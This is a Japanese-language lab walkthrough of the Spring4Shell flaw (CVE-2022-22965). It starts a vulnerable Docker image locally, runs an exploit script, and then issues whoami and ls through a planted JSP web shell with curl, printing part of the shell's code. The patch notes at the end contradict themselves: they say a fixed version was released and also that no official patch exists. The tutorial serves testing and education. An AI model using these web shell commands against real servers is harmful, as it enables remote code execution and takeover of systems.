
Spring4Shell - Spring Core RCE - CVE-2022-22965
Spring Cloud に続き、3月29日にSpringのもう一つの重大な脆弱性がインターネット上で明らかになりました:Spring Core RCE
3月31日、Springはこの脆弱性を修正した新しいバージョンをリリースしました。セクションパッチ適用を参照してください。
3月31日、ついにCVE番号がこの脆弱性に割り当てられ、CVSSスコア9.8(CRITICAL)となりました。
このエクスプロイトは非常に使いやすく、そのためCVSSスコアは9.8と非常に高くなっています。
脆弱性をテストするには、次の手順を実行します。
脆弱なSpringのDockerイメージを起動します。
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
これにより、脆弱なSpringがアドレス localhost:8082 にバインドされます。
curl でイメージが正しく起動したことを確認します。
curl http://localhost:8082
ok という応答が返されるはずです。
では、脆弱なイメージをエクスプロイトしましょう!
python3 exp.py --url http://localhost:8082
The vulnerability exists .... という応答が返されるはずです。
これで curl を使用して脆弱性をエクスプロイトできます。
# コマンド whoami を実行
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# 応答は切り詰められています
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# コマンド ls を実行
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# 応答は切り詰められています
app
bin
dev
etc
..........
これまでにアップロードされたエクスプロイトは exp.py です。


SpringはこのCVEに対処する新しいバージョンをリリースしました。Springの発表を参照してください。
現時点では、Springは公式パッチをリリースしていません。暫定的な対策として、JDKバージョンを下げることを推奨します。